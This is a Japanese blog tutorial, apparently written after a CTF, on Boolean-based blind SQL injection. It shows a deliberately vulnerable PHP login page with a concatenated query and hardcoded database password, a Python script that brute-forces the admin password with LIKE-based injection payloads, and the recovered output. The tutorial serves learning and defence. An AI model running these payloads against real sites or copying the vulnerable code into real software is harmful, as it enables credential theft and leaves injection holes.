1
0

【セキュリティ入門】Boolean-based Blind SQL Injectionについて

Last updated at Posted at 2024-03-05

背景

先日参加したCTFでこの脆弱性を使用して解く問題が出たのでこれを機に記事を書きます。

Boolean-based Blind SQL Injectionとは

Blind SQL Injectionの一つで、真偽値を使用して情報を取得する攻撃を指す。

具体的な攻撃手法

CTFの問題を再現しつつ手法を解説していきます。

CTFの問題

adminユーザーのパスワードを特定せよ。

脆弱なアプリケーション

SQLインジェクションの脆弱性があり、ログインが成功した場合はLogin successful!、失敗した場合はLogin failed!を返すアプリケーションです。
今回adminのパスワードはTh1s_is_4dmin_flag!になっています。

mysql> select * from users;
+----+----------+---------------------+
| id | username | password            |
+----+----------+---------------------+
|  1 | admin    | Th1s_is_4dmin_flag! |
+----+----------+---------------------+
1 row in set (0.00 sec)
<?php
    function init_db() {
        $servername = "localhost";
        $username = "root";
        $password = "Pa$\$w0rd";
        $dbname = "booleansqli";
    
        $conn = new mysqli($servername, $username, $password, $dbname);
    
        if ($conn->connect_error) {
            die("Connection failed: " . $conn->connect_error);
        }
    
        $sql = "CREATE TABLE IF NOT EXISTS users(id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255), password VARCHAR(255))";
        if ($conn->query($sql) === TRUE) {
            $sql = "INSERT INTO users (username, password) VALUES ('admin', 'ctf{**SECRET**}')";
            $conn->query($sql);
        } else {
            echo "Error creating table: " . $conn->error;
        }
    
        $conn->close();
    }

    function login() {
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $username = $_POST['username'];
            $password = $_POST['password'];
    
            $SERVER = "localhost";
            $MYSQLUSER = "root";
            $DBPASS = "Pa$\$w0rd";
            $DBNAME = "booleansqli";
        
            $conn = new mysqli($SERVER, $MYSQLUSER, $DBPASS, $DBNAME);
    
            if ($conn->connect_error) {
                die("Connection failed: " . $conn->connect_error);
            }
    
            $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

            $result = $conn->query($sql);

            if (!$result) {
                http_response_code(401);
                echo("Login failed!");
            } elseif ($result->num_rows > 0) {
                http_response_code(200);
                echo('Login successful!');
            } else {
                echo("Login failed!");
            }

            $conn->close();
        } else {
            include 'index.html';
        }
    }
    
    login();

エクスプロイトコード

LIKE文と%を使ってブルートフォースでパスワードを特定します。

import requests
from string import printable

url = "http://localhost/booleansqli/app.php"
username = 'admin'
password = ''

characters = f"{printable}".replace("%","")

while True:
    for char in characters:
        payload = {
            'username': username,
            'password': f"' OR password LIKE BINARY '{password}{char}%"
        }
        response = requests.post(url, data=payload)
        
        if 'Login successful' in response.text:
            password += char
            print(f"Found one more character: {password}")
            break

    print(f"Password found: {password}")

結果

Found one more character: T
Password found: T
Found one more character: Th
Password found: Th
Found one more character: Th1
Password found: Th1
Found one more character: Th1s
Password found: Th1s
Found one more character: Th1s_
Password found: Th1s_
Found one more character: Th1s_i
Password found: Th1s_i
Found one more character: Th1s_is
Password found: Th1s_is
Found one more character: Th1s_is_
Password found: Th1s_is_
Found one more character: Th1s_is_4
Password found: Th1s_is_4
Found one more character: Th1s_is_4d
Password found: Th1s_is_4d
Found one more character: Th1s_is_4dm
Password found: Th1s_is_4dm
Found one more character: Th1s_is_4dmi
Password found: Th1s_is_4dmi
Found one more character: Th1s_is_4dmin
Password found: Th1s_is_4dmin
Found one more character: Th1s_is_4dmin_
Password found: Th1s_is_4dmin_
Found one more character: Th1s_is_4dmin_f
Password found: Th1s_is_4dmin_f
Found one more character: Th1s_is_4dmin_fl
Password found: Th1s_is_4dmin_fl
Found one more character: Th1s_is_4dmin_fla
Password found: Th1s_is_4dmin_fla
Found one more character: Th1s_is_4dmin_flag
Password found: Th1s_is_4dmin_flag
Found one more character: Th1s_is_4dmin_flag!
Password found: Th1s_is_4dmin_flag!
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0